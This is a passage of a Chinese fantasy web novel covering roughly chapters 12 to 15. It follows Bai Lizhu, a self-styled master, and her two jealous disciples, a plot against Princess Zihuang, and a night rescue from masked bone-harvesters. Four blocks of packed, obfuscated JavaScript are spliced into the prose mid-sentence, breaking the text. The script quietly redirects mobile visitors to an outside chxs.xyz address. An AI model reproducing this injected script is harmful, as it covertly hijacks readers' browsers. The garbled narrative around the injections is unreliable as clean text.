她清棱的眼珠一转,十五夜莫不是看她收了新的徒弟,吃味了? 这种事情也实属正常,亲哥哥亲姐姐看到父母生二胎还要难受几天呢,她这有了二宝,也着实应该好好关注一下大宝的精神状态,尽量做到一碗水端平。不然,将来兄弟两个,不对,是师兄弟两个有了矛盾就不好了。 她换上温柔的笑容,“十五夜,你是不是不喜欢你师弟所以吃味了啊。你放心,师父和他只是逢场作戏,你才是我最亲的徒弟!我收他为徒,只是想多赚一点钱,将来替你治病。你虽然身手好,可是这身子骨一向不太好。你都不知道,你昨晚高烧不退,师父有多担心吗?” 十五夜解释道:“我不是……” 白骊珠打断了他的话:“好啦,十五夜,不要和师父闹脾气啦。”她走了两步上前,拉住十五夜的手:“我们先去吃饭……” 少女酥软的柔荑握住他的手掌,指尖传来微麻的触电感,十五夜想要挣脱,却发现手掌竟不听使唤。他蓦地想起昨晚在山洞里,也是同样的情形。一旦白骊珠接触他的身体,他便无法阻止白骊珠对他身体的任何动作。 十五夜心中生出一丝羞赧。 这该死的十五夜,暗恋自己的师尊就罢了,竟然立下这种心誓。 堂堂龙神大人竟然无法反抗一个修为平平无奇的普通少女。 白骊珠一路拉着十五夜到席前坐下,将自己盘中的食物拨了过去,道:“这都是你师弟的手艺,你多吃点。” 纪长怀见白骊珠竟然将他精心准备的食物倒入十五夜的盘中,眉头微微一皱。他服侍师父用饭那是他身为弟子的本分,可师兄难道没长手,不会自己吃饭吗? 不和他一起服侍师父就算了,竟然要师父追着喂饭,这不是倒反天罡吗? 12. 第 12 章 纪长怀想到自己刚刚入门,人微言轻,敢怒不敢言。他宽慰自己道:身为本分的小弟子,不应该和师兄在这等小事上计较。师兄不做,他多做点就是了。他又剔了一份兔肉,装了满满一盘,再次端到白骊珠面前。 白骊珠如风卷残云般把眼前的兔肉扫荡干净,打了一个饱嗝。纪长怀赶紧起身,将篝火上咕咚着的茶壶取下,轻轻摇匀后倒入杯中,又吹了一阵,才将金黄色的茶汤进献到白骊珠面前,笑着介绍道:“这是山楂枸杞菊花茶,饭后饮用,最是养生。我还特地加入一味养颜秘方,师父用之,必能永葆青春。” 白骊珠浅啜一口,顿感神清气爽,夸奖道:“果然不错。” 一旁乌小孙看了艳羡不已,啧啧道:“白姑娘,你可真是好福气。我跟着纪公子上山这些天,可从来没见他对谁这般用心……” 纪长怀接过白骊珠用完的杯盏,接口道:“侍奉师父,本就是弟子该做的事。”他嘴上这么说,眼睛却朝十五夜瞟了一眼。 那目光虽没有挑衅之意,语气却带着点莫名幽怨,意思很清楚,有些徒弟当得太不合格了,不侍奉师父就算了,还等着师父来伺候。 十五夜心头火起,若不是本君帮你赶走羽族的紫凰郡主,你这会已经被羽族抓走当压寨夫君了,哪有机会在这里茶里茶气的。 他忍不住嘲讽道:“纪师弟不愧是出身青丘狐族,花里胡哨的东西会得还真不少,很会魅惑人心。师父有你这样的弟子,真是三生有幸。” 纪长怀的脸色微微一僵。这不就是在讽刺他是个狐狸精吗? 白骊珠没注意到两个徒弟之间的暗流涌动,她揉了揉肚皮,浑身舒坦,见那边乌小孙正在搭建晚上休息的营地,就过去帮忙。 又过了一会,纪长怀也吃完了,凑上前来:“不知师父何时能够传授弟子一些厉害的本事,就像十五夜师兄那样的……” 看纪长怀一脸期待,白骊珠有点心虚了。她不但收了钱,还受用了徒弟一番服侍,这当师父的权利是都享受了,可要履行义务就有点难了。 这大徒弟也是捡来的,她根本不熟,也不知道他那一身本事是哪里来的,当然也教不了小徒弟真功夫。 不过,这也并不难办,她吆喝一声:“阿夜——” 十五夜朝这边看了过来:“什么事?” 白骊珠一派大宗师的沉稳气度:“今日为师有些乏了,身为大师兄,教导师弟的课业也是你的责任。从今日开始,每天晚饭之后,你便代为师指点一下小师弟的武学。” 十五夜眉眼挑了一下,唇角勾出若有若无的笑意:“自当为师父分忧。” 看到十五夜那皮笑肉不笑的笑容,纪长怀心中生起不妙的预感,唯诺道:“师父,弟子想要跟随师父练习。” 十五夜哂笑一声:“师弟基础太差,要先从基本功练起。这些最粗浅的东西又何须师父教你,师兄出手就绰绰有余了。” 他拎着纪长怀的肩膀,将他向河边拖去。 白骊珠看着师兄弟两人和谐友爱的背影,轻轻吁了一口气,还好十五夜这次很配合,不然她非得露馅。 还有,十五夜最后的那个笑容有点怪是怎么回事? 算了,不管他们了,累了一天,早点睡觉才是硬道理。 在两个徒弟之间端水,这做师父也是很累的。 …… 河边。 十五夜躺在树杈上,拿着一根树枝对小师弟指指点点:“师弟,今晚的训练是蹲马步一个时辰,这才过了不过半炷香光景,师弟你就坚持不住了……” “吃不了苦还学什么……我看某些人还是早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829633|158899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点下山,回去当青丘纪家的大少爷就行了,何必没苦硬吃呢,浪费师兄我宝贵的时间……” 纪长怀欲哭无泪:“师兄,不是我吃不了苦,这河边蚊子太多,我的脸上已经被叮了几十个大包了……” 不只是脸上,这一会的工夫,他全身上下都被蚊子咬出无数个血包了,他刚想伸手去挠,树上一颗松子扔了过来,纪长怀的额角顿时鼓起一个大包。他觉得师兄不是带他过来学功夫的,而是带他过来喂蚊子的…… 可恶! 青崖身为龙神溯夜的地盘,风水绝佳,竟然有这么多这么毒的蚊子,也不知道他这师兄是怎么找到的。 十五夜冷笑道:“师弟要么好好学,要么就自己去跟师父说吃不了苦,也不学什么功夫了……要不然,你以为谁愿意大晚上不睡觉,陪你在这儿喂蚊子……” 纪长怀一下子捕捉到了他话中的重点,他咬牙切齿道:“我就知道师兄你是嫉妒师父对我好,想逼我自己退出师门。哼,我告诉你,你休想。只要我好好修□□有一天能学会师父的所有本事,我将来一定比你还厉害。你等着——” 十五夜:“呵。” 纪长怀:“你笑什么。” 十五夜:“没什么!”他看着纪长怀满头包还苦苦坚持的模样,冷哂道:“你倒是很有毅力,就是智商不太够,脑子有点病……” 如果他智商够,早就看出他们师父的本事并不比纪长怀强多少。至于他能不能学到真本事,全看师兄脸色。而显然,师兄不会给他什么好脸色。 纪长怀咬牙切齿:“你说谁智商不够,脑子有病——” 很好,你又成功激怒师兄一次。 十五夜笑容更冷:“我错了,你不是智商不够,你是没有智商。你不是脑子有病,而是病里长了个脑子……” 13. 第 13 章 紫凰郡主一个人走在山道上,她看着手里的断剑,越想越气,也越想越不对劲。 若论修为,她的实力已经达到了小乘期巅峰,离大乘巅峰只有一步之遥。这个世界上,能在一招之内打败她的,用两只手就能数出来。 除了各族的几位的大君之外,就是妖界那些隐世不出的大能了,都有谁她心里也有数,可是看十五夜的容貌,并不像是其中之一。 妖界什么时候冒出了这样的天才人物? 他这样的实力,还只是白骊珠的徒弟?那白骊珠岂非比他还厉害? 一天之内遇到两个比自己强很多的人物,这让紫凰郡主心中很是挫败。如今纪长怀有了这两人做靠山,她再想逼婚可就难上加难。若是如此,她又如何能竞争过自己的表姐,成为羽族的王女。 紫凰郡主本名翎凰,是如今羽族女王翎天之妹翎雪的女儿。 翎天一生未婚,也对孕养自己的子女没有兴趣,而是有意从自己的侄女辈中挑选一个合适的人选,成为羽族的王女。 如今最有希望入选的就是紫凰郡主和她的表姐翎凤。 这两个人中间,翎天本人更看好翎凤一些。虽然姐妹两人文韬武略都差不多,但是翎凤比紫凰郡主有一定优势。 翎凤的夫君扶疏是如今蛇族大君最喜爱的小少君,因为喜欢翎凤而入赘羽族,成为郡马。妖界虽然不像人族那般等级分明,但是各族首领也愿意与他族联姻,搞好关系。 毕竟妖界五族,共有五位大君,在有关妖界的共同的大事上,一贯是五位大君同时作决定。若是能与其他一族达成同盟,在整个妖界也会更有话语权,这也是翎天挑选王女看重的一点。 紫凰郡主知道此事之后,就有些着急了,她急着效法翎凤在其他几族找一位分量足够的夫君,来增加自己的筹码。 她数了一圈,可以选择的范围非常有限。 首先,兽族大君陆崖也和翎天一样,终身未婚,没有子女。虫族那边,蝶王倒是已婚已育,只是那孩子才三岁,还流鼻涕呢,自然不在紫凰郡主的考量之内。 水族大君溯夜是个万年死宅单身狗,本人死后也没留下孩子,这条路也是死路。最后就是蛇族了,可惜那边已经被她表姐捷足先登了。 紫凰郡主,想来想去,就将目光放在了纪长怀身上。 纪长怀是兽神大君陆崖的外甥,这个分量虽然比不上她那姐夫是蛇族少君,但是纪家有钱啊。青丘九尾狐族经营着妖界各族的生意,财富不可斗量。纪长怀本人也擅长经商,在他的经营之下,青丘纪家已经做到了妖界的首富。 兽神陆崖的外甥加上妖界首富家族未来的继承人,这样的身份也堪堪能够和扶疏分庭抗礼了。 于是紫凰郡主从纪长怀的母亲纪红瑶入手,花了整整一个月好好表现,终于让纪红瑶认为她是一个文武双全、才德兼备、温柔又不乏手腕的女子。 纪红瑶本就觉得自己儿子的性子过于绵柔,将来不好掌家,倒也颇为欣赏她的作风,就为两人订下婚约。谁知纪长怀本人宁死不从,为了逃婚竟然跑到青崖来了。 她以为凭自己的实力,将纪长怀抓回去轻轻松松。谁知纪长怀一转眼竟抱上两条粗壮的大腿,连她的佩剑都被折断。这次她真是赔了夫人又折兵,要是以前,她定会回羽族找姑姑为自己出头。但如今她请柬都发出去了,要是夫君逃婚这事传到姐姐耳朵里,她一定会被狠狠嘲笑。 她攥紧拳头。不行,她必须想想办法,将纪长怀抓回去。 正苦恼之时,密林中传来一道低沉的声音:“翎凰,你难道打算就这样灰溜溜地回到羽族去吗?” 紫凰郡主脸色一沉,她看向四周,想要找到那个说话的人影,却是一无所获。她心中警觉:“你是谁?” 那声音桀桀笑了,“你不用管我是谁,你只需要知道我有办法让你得到你想要的东西……” 紫凰郡主:“你知道我想要什么?” “呵呵,你想要纪长怀和你一起回去履行婚约。再以此为筹码,成为羽族的王女,我说得对吗?” 那声音从密林深处传来,更增几分诡谲莫名的味道,“当然,这还不是你最想要的东西。妖界五位大君,以龙神溯夜为至尊,这三百年溯夜隐居青崖,你的姑姑翎天已经是妖界实际上的最高主事者,然而比起至尊之名位,还是稍逊一筹。如今溯夜已死,如果姑姑可以提前逊位给你,让你直接成为羽族女王,妖界至尊这个位置你也是可以争一争的……” 紫凰郡主悚然一惊,这是她内心深处最隐秘的想法,从来不曾示人。这个神秘人是谁,又怎么会知道她的想法? 那声音又道:“你不用惊惶,这世界上没有我不知道的秘密。” 紫凰郡主道:“哼,鬼鬼祟祟的不敢露面,我凭什么相信你?” 那声音道:“这样吧,我可以先给你一点好处。你将断剑放在身前五丈之处,然后转过身去,我会在一炷香之内帮你修好这把剑。” 紫凰郡主将信将疑,但还是如那声音所言,将被十五夜折断的宝剑放在身前不远处,然后转身。 一炷香之后,那声音又响了起来:“好了。” 紫凰郡主回头,她的那把宝剑果然完好地躺在那里。她拿起剑一看,就跟新的一样,根本看不出修补的痕迹。 那声音道:“怎么样?只要你相信我,按照我所说的去做,我就保证纪长怀会乖乖地回去和你成婚,你的修为也会更上一层楼,成为羽族的王女,如何?” 紫凰郡主心中蠢动:“你要我做什么?” 一封信从高处落下,落在她身前。 “我需要你要做的事,都写在信中,你只需要按照信中行事,自然可以达成所愿。” *** 白骊珠一觉起来时,见到纪长怀正如昨晚一样在篝火旁准备今早的食物。 纪长怀见白骊珠起身,殷勤道:“请师父少坐,早饭一会儿就好。” 白骊珠伸了一下懒腰,找了个地方坐下等吃。她想,从前怎么不知道徒弟这么好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829634|158899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用,早知道她该多收几个,说不定早就过上了衣来伸手、饭来张口的幸福生活。 她抬眼一看,十五夜不知从哪里钻了出来,坐在她的对面,一脸八风不动的表情,看向正在忙忙碌碌的纪长怀,同样等着开饭,一点也没有过去帮忙的意思。 她心中啧叹,都是徒弟,怎么差别这么大呢? 当然,白骊珠也不敢支使十五夜去干活。片刻后,纪长怀端着做好的早饭走上前来。白骊珠仔细看去,才发现纪长怀脸上大大小小鼓着不少的肿包,红的紫的,什么颜色都有。 少年英俊的面庞跟被马蜂蛰过似的,惨不忍睹。 白骊珠连忙关心道:“哎哟,长怀,你脸上这是怎么回事?” 纪长怀用袖子遮着脸,朝那边已经开吃的十五夜看了一眼,轻咬嘴唇道:“这都是我体质不好,不关师兄的事……” “师兄?”白骊珠转头看向十五夜:“十五夜,你打你师弟了?” 十五夜心中冷笑,这是故意在师父面前告状的意思了? 他师弟这演技,不去考妖界特级茶艺师可真是太屈才了。 这他能认输?必须不可能。 “师父误会了。我昨天只是按照师父的吩咐,在晚饭后训导师弟的课业。我怎么会打他呢?想必是昨晚河边蚊虫太多,师弟身体孱弱,不耐蚊虫叮咬,以致如此。”他又故意道:“师父,我认为学武毕竟是一件吃苦的事,师弟出身好,从小没吃过苦,不是学武这块料,不值得师父花费太多心思。” 白骊珠看着纪长怀满脸大包的可怜模样,心想十五夜说得也有道理。她本来只想装成高手的样子,多挣一分束脩,至于纪长怀能不能成为一代高手,并不怎么关心。 十五夜递了台阶,她当然顺着下,便关切道:“长怀啊,练武这事急不得,练不好,要不要咱们就休息几天。” 纪长怀银牙咬碎,他为什么会被蚊虫咬成这样,还不是他这好师兄专门带他去蚊子多的水边蹲马步,还不许他动吗?这会又在师父面前反咬一口,说他吃不了苦,让师父不要把心思花在他身上。 他这会也看出来了,他在师父心中的地位根本不能和师兄比。他特地卖惨,师父压根没有责备师兄的意思,反而顺着他说话。 这也能理解,谁让师兄是先来的呢? 但是,他纪长怀绝不是会轻易认输的男人。 上青崖的路途还长,他早晚会将师父从师兄那里抢过来,让师兄知道得罪他的后果,让他肠子都悔青。 他朗声道:“师父不要只听师兄一面之辞,长怀既然拜了师父为师,就一定好好学武,将师父的武学发扬广大,绝不会堕了师父的威名。请师父放心。” 白骊珠十分心虚。 师父的武学是没有的,也没有什么响亮的名号,当然为了束脩费,这会子是万不能露怯的。她拍了纪长怀的肩膀:“长怀,你真是好样的,为师以你为傲。” 一旁,十五夜暗地里撇了撇唇。 呵,来日方长。 14. 第 14 章 吃完早饭,四人继续上山。 乌小孙身为向导,走在最前面。十五夜和白骊珠紧随其后,纪长怀走在最后。 白骊珠见纪长怀一个人走在后面,很是孤单,又想到自己收了他大笔的束脩,怎么说也该对这个新入门的弟子更关照些。可不知为何,今天的十五夜与往常不一样,不停地拉着她说话,总是问一些从前她和“十五夜”如何相处的事。 “十五夜”这个名字以及他们的师徒关系本就是她灵机一动编出来的。和紫凰郡主一战后,她发现“十五夜”的妖力远强于她,就更怕十五夜发现破绽,只好集中全部心神用来编故事。 在她的讲述中,她三年前捡到了“十五夜”,两人一起在妖界流浪,相依为命,是彼此最亲近的人。只是半年前,“十五夜”莫名失踪一段时间,她找了他很久,直到最近,在青崖海边,才重新找到了他。也正是在失踪的这段时间,“十五夜”的修为大涨。 她讲得唾沫横飞,十五夜大部分的时候只是乖巧点头,偶尔若有所思,并且看她的眼神也比从前更加热切起来。 白骊珠心想这次应该是糊弄住了,微微松了一口气。这时,她听到身后传来“哎哟”一声。 她回头一看,见纪长怀跌坐在地上,双手捧着右脚,秀眉皱着,表情扭曲,一副痛苦的模样。 她抛开十五夜,走到纪长怀身边,问道:“长怀,你怎么了?” 纪长怀嘶着气,两眼泪汪汪地说:“师父,我的脚好像崴了……” “脚崴了,我看看……”白骊珠就要伸手去触纪长怀的脚踝,一只大手将她的手拉开。 “我来看看。”十五夜蹲了下来,伸手向纪长怀的脚探去。 他与纪长怀对视了一眼,表情十分不屑。他才不相信纪长怀在平地上走路也能崴到脚,这多半是为了吸引师父注意力演的戏码而已。 很快他就能拆穿纪长怀的小把戏。 他一把抽掉纪长怀的鞋袜,微微一怔,后者的脚踝红肿,骨头已经错位,显然伤得不轻。 他再看纪长怀时,对方挑衅般地瞪了他一眼,转头看白骊珠时,却换上一副眼泪汪汪、我见犹怜的表情:“师父,师兄弄得我好疼……” 白骊珠不赞同地瞟了十五夜一眼:“十五夜,你师弟细皮嫩肉的,又崴伤了脚,你下手轻点……” 十五夜气得牙痒痒,没想到这小子为了在师父那里争宠,竟这么舍得下血本,真把自己的脚崴成这样。 “这脚肿成这样,肯定是没法自己走了。”白骊珠看向十五夜:“十五夜,你背着他上路吧!” 十五夜怎么肯背纪长怀,他既然自己下血本崴了脚,就让他瘸着好了,十五夜道:“师父,我身上的旧伤还未痊愈,背不了师弟。” 白骊珠想了想,也是这个道理,十五夜的伤根本没好全,自己都半死不活的,这要是不小心栽倒掉下山崖,她一下子没了两个徒弟,损失太大。 至于乌小孙,乌鸦一族本身个子小小的,只有半大孩子那么高,背一个成年男子还是太勉强了。 唉,看在钱的面子上,她亲自出马好了。 她蹲下身来,道:“长怀,师父背你一程。” 纪长怀还没说好不好,十五夜脸色瞬间变得阴沉沉的。他挡在纪长怀身前,道:“师父也不必背他,他只是崴了脚,又不是断了腿,我给他接骨,让他自己走就行了。” 白骊珠瞪圆双眸:“你还会接骨?” 十五夜握住纪长怀扭伤的右脚,找准位置,使劲一握,纪长怀发出一声凄厉的惨叫。十五夜也不多话,只淡淡来了一句:“妥了,涂点草药再休息一下就可以自己走了。要师父背你,算是做徒弟的本分吗?” 白骊珠再看时,见纪长怀的脚虽然还是肿着,错位的骨头已经恢复原状。她见山崖边上,长着三七、透骨草、没药等治疗跌打损伤的草药,便采了些药材,捣碎成汁,糊在伤处,又用碎布条包扎起来。 她扶着纪长怀站了起来:“长怀,现在怎么样?” 纪长怀感知了一下受伤的右脚,暗暗啧叹,他这师兄虽然讨厌,这接骨的手法还真不错,严丝合缝,疼痛感弱了很多,再休息一会儿就没问题了。 他现在已经确定,师兄看不惯自己多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829635|158899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半是出自他对师父的独占欲,所以师父刚一说要背自己,师兄就跳出来阻拦,还给他接了骨。既然如此——他就更不能遂对方的意了。 他站起身,微微踮脚,然后垂下眼眸,微皱的眉头恰到好处地表现出不适的情绪,咬唇轻声道:“弟子……弟子觉得好多了,但是接下来的路程恐怕要有人扶着才能行——” 白骊珠上前搀扶住他:“那我扶着你走吧。”她看向十五夜:“十五夜,你殿后,多注意一下四周动静,以免遇到那些杀妖取骨的大妖们。” 十五夜满脸写着不情愿。 白骊珠只好道:“那要不,你扶着你师弟在中间走,我来殿后——” 十五夜:“不行,后面有危险,还是我殿后吧。” 四人继续上路,只是这次的顺序变成了乌小孙最前,白骊珠搀扶着纪长怀走在中间,十五夜走在最后面。 十五夜这些天以来和白骊珠形影不离,一想到被这个心机师弟抢走自己原先的位置,就气得牙痒痒。 他双手握拳,好容易按捺下心中想将纪长怀一掌拍飞的冲动。 不行,纪长怀怎么说也是陆崖的外甥。就算不给青丘纪家面子,但是同为妖界五位君主,兽神的面子他还是要给一点的。 还有,龙神大人怎么说也活了一万岁了,怎么可以像两三百岁的凡妖一样争风吃醋,真是成何体统! 他绝不可能会喜欢白骊珠这种满脑子只有钱的肤浅女人,这一定都是原主“十五夜”遗留的问题。“十五夜”爱慕自己的师父,以至于他的身体无法拒绝白骊珠,甚至会因为白骊珠和其他的男子亲近产生醋意。 一定就是这样。 纪长怀腿受伤,白骊珠和他一起,他们的行程一定会被大大拖慢。他有的是机会离开白骊珠,早点回到雪顶天池。 龙神溯夜无心无情的活了上万年,他不应该被这种莫名出现的情绪所左右。只要回到自己的身体里面,她就不再是他的师父,只是一个仰视龙神的普普通通的水族子民而已。 他不该贪恋眼下这种感觉。 情感这种东西,从不该属于龙神。 15. 第 15 章 大概是纪长怀脚受伤的缘故,四人才走出十里路,天就黑了下来,只好停下来觅地露营。 纪长怀虽然走路慢了些,一到晚餐时间又跟没事人一样,拾柴生起篝火,猎了两只野兔侍奉师父晚餐,只是因为他的腿受伤,晚上学武的功课就免了。 这对纪长怀和十五夜都是好事,两人都不想看着对方生厌,至于白骊珠,更是乐得清闲,早早入梦。 白骊珠睡到半夜,忽然听到暗夜里传来女子的哭泣声,幽幽咽咽的,似乎还夹杂着兵器交接的声音。那声音相隔甚远,听得并不真切。 她迷迷糊糊之间捂上耳朵继续睡觉,却听到帐篷外响起脚步声——为了就近照看自己的“财宝”,白骊珠晚上露营时特地将自己的营帐设在最外面,和十五夜相邻。 白骊珠一个激灵,立刻醒了,见十五夜已经起身,向营地外走去。她连忙叫住他:“阿夜,大晚上的,你去哪儿?” 十五夜指着声音传来的方向,道:“那边好像出事了,有人正在打斗,我过去看看。” 自从那天见到失去灵骨的大妖尸体,十五夜的心里始终觉得不太对劲。这会听到外面的打斗声,身为水族大君的责任感作祟,让他立刻就想去一探究竟。 这时哭声愈大,还夹杂着斥骂声,白骊珠隐隐觉得这声音有几分熟悉,好像是她认识的人,便道:“我和你一起去。” 两人奔出半里路,那哭声也更加清晰起来。只见不远之处的山丘之下,有两个蒙面的黑衣人持剑而立。 在两位蒙面人不远之处,一名身着淡蓝色裙衫的女子浑身是伤,趴在泥沙之中,刚才的哭声就是她所发出。 白骊珠微微一惊,这蓝衣女子果然是她的旧识,原是她在真炎宗学习炼器之道时的师妹蓝鹊儿。在真炎宗时,两人关系还算不错,只是她出师之后,两人便断了联系。 前面的黑衣人叱声道:“蓝鹊儿,你是要自己动手还是要我帮你动手?” 听声音分明也是一个女子。 蓝鹊儿声音惊惶:“你们是谁,万年前,妖族五族大君共同立下公约。炼器师被禁止杀妖取骨,更不要说生剖灵骨……你们这么做,就不怕成为妖界公敌吗?” 蒙面女子冷声道:“生剖灵骨确实违反妖界公约,但如果拥有灵骨者自愿献骨,并不受公约限制。我也不想违反公约,才破例给你一个机会,让你自己剖下蓝晶翅送给我。” 白骊珠暗皱眉头,这两只大妖实在是太嚣张了。 蓝鹊儿道:“如果我不愿意呢?” 另外一个蒙面的男子道:“蓝鹊儿,我劝你不要敬酒不吃吃罚酒。我们让你自己献出药骨,不过是看在同为羽族的份上,给你一线生机。你若不愿,我们也可以自己取下蓝晶翅,只是你就走不出青崖了。前日上青崖的大妖有上千人,少了你一个蓝鹊儿,根本没人发现……” 这便是赤裸裸的威胁了,蓝鹊儿又气又急,骂道:“你们仗势欺人,我不服,同为羽族人,竟然这样对待同族。等我回到羽族,一定向翎天女君告发,让她彻查此事……” 蒙面女子眸色乍冷:“真是这样,就留不得你了。苍鹰,杀了她,再取蓝晶翅——” “是。”黑衣男子手持匕首,一步一步朝蓝鹊儿走去。 白骊珠忍不住了,蓝鹊儿从前是她的好友,她怎能眼睁睁看着她死在这些恶徒手中。她正要冲出去,十五夜按住她的手,拉着她蹲下,随手从地上拾起两颗小石子。小石子一弹,正中黑衣人右手,匕首应声而坠,紧接着又一颗小石子,将还未落地的匕首击碎。 黑衣男子见有人干涉,朝两人藏身之处看来:“什么人在那里,鬼鬼祟祟的,竟然敢坏我们猎妖盟的事?” “猎妖盟,我怎么从来没有听说过妖界有这样的组织?”十五夜长身而起,双目如鹰隼一般瞧向两位蒙面人,他的目光充满威仪,迫人的气势似乎与生俱来。 白骊珠自那日在海滩上捡到这便宜徒弟,一直觉得他病恹恹的,除了长得好看,妖能不错,其他方面并不出众,可这月夜下一个眼神,忽然让白骊珠觉得,他此刻的模样气质,并不像是普通的大妖。 奇了怪了,自从三百年前,长月海干涸,她的同族日渐稀少,也从来没人说起过有什么厉害的高手。她这徒弟到底是什么身份,又是从哪里来的? 这时,那名蒙面女子也朝两人看来,看到白骊珠和十五夜的那一刹,她脸色一变,恶狠狠对蓝鹊儿道:“你今天运气不错,遇到能人为你撑腰,只是下次就没这么好的运气了。苍鹰,我们走。” 苍鹰迟疑道:“那蓝鹊儿——” 蒙面女子打断了他:“先离开再说。” 苍鹰恋恋不舍地盯了一眼即将到手的猎物,到底不敢违抗蒙面女子的命令,两人身形一闪,眼看就要消失在暗夜之中。 “想走,没那么容易——”十五夜叱声,紧随而上。 刚才两人提到了“猎妖盟”,这是水族大君从未听说过的组织,光听名号就与青崖杀妖取骨之事有关,而且这种事还是有组织的,若不及时阻止,一定会有更多人受害。 竟然有人敢在龙神大人的地盘做这种事,他自然不会轻易放过。 “阿夜,别追啦——”白骊珠只想救人,这会见蓝鹊儿没事,心已宽了大半。至于有人在青崖猎妖取骨这种大事,这是妖界几位大君才有资格管的事。 虽说眼下几位大君还没得到消息,早晚也会有受害者的亲友将此事报上去,届时几位大君自然会派出执法队追捕。她不过是妖界平平无奇的一只普通小妖,竟然插手此事,是不要自己的小命了吗? 这时见十五夜追着两名蒙面人而去,白骊珠心中一急,她以前怎么没发现十五夜喜欢多管闲事呢? 开什么玩笑? 猎妖盟,一看就是专门杀妖取灵骨的。你到底知不知道你才是最大的灵骨宝箱啊,你追上去,万一他们还有同伙怎么办? 你死了不要紧,如果尸体被别人捡了,那她这段时间的投资不是打水漂了吗? “阿夜,回来——” 她连叫几声,十五夜显然不像纪长怀那般听话,只剩下一道模糊的影子。 蓝鹊儿这时已经认出救了自己的人是白骊珠,她虚弱一笑:“骊珠姐,多谢你方才救我。” 白骊珠这时也顾不得受伤的蓝鹊儿了,她留下一些伤药,指了指不远处的营地,急忙道:“蓝鹊儿,你去那边的营地找一个叫纪长怀的人,他是我的徒弟,报上我的名字,他会帮助你,我还有事,回头见。” 她顺着十五夜离开的方向追了过去。 密林之中,两名黑衣蒙面客纵身飞驰,身后追踪之人却越来越近。这人对青崖好像比他们熟悉多了,两人几次试图利用地形将人甩掉都失败了。 苍鹰有点不耐烦,道:“小姐,我们跑什么,这只大妖实力不错,说不定身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14832544|158899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怀灵骨,我们不如杀了他,正好取了他身上的灵骨……” 他还没说完,蒙面女子冷声道:“你知道他是谁吗?只怕我们两人加起来,也不是他的对手,而且他身后的那名女子是他师父,想必修为更加厉害。一个不好,今日死在这里的就是我们两人了,你身上不是还有一张山河图吗,正好用来摆脱他们……” 苍鹰惊声道:“为了这个家伙就要用掉一张山河图吗?这张山河图可是我花了一百万水晶币从大炼器师岚霏手中买的,只有这一张,是生死关头保命用的——” 蒙面女子道:“现在就是生死关头。你也不必吝啬,青崖如今遍地都是大妖,这些大妖都是自认有些本事才敢到青崖冒险,当中不少人必定身怀灵骨,这么多灵骨肯定值不少钱。只要过了眼前这关,还怕没有水晶币去买山河图吗?” 苍鹰不情不愿地从怀中掏出一张图,图上画的是一片茫茫沙漠。蒙面女子大喜,道:“据我所知,他们两人都是水族,水族只适合生活在水汽充沛的环境中。若是坠入一滴水都没有的沙漠,少说也要丢掉半条命,真是天助我也——” 她伸手一抖,那张山河图落在地上,刚才还树木丛生的山林瞬间被黄沙所覆盖,而且黄沙的范围不断延展,越来越大,十五夜眼前出现了一片黄沙漫天、焚风遍地的荒芜沙丘。 十五夜眉头冷皱:“山河图?他们竟然会有这种东西?” 山河图是妖界极为稀有的灵器。不仅配方复杂,需要的材料也极为难得,只有极少数的天阶炼器师才会打造这种法器。 这种灵器使用之后,会在落地之处呈现出山河图中所绘制的地貌。比如山河图中如果绘制的是大海,落地之处顿成汪洋。如果山河图中绘制的沙漠,落地之处就是一滴水都没有茫茫大漠。 十五夜脚步一顿。 水族喜水,水族大君尤甚。“十五夜”的本体是白鱼,龙神本人也是水属性,只有在水源充沛的地方才能发挥出最大的威力,在沙漠中,他的身体比平常虚弱不少,能力也大打折扣。 虽然龙神大人身为水族大君,拥有移山造海的能力,可此招消耗太大,若非特殊情况,他也不愿轻易使用。 妖界五族之中,唯有蛇族居住的流沙之州遍布沙漠,而龙神大人从未到过流沙之州。 看来只好暂时放过那两人,以后再慢慢调查。他正准备打道回府之时,白骊珠终于追了上来。 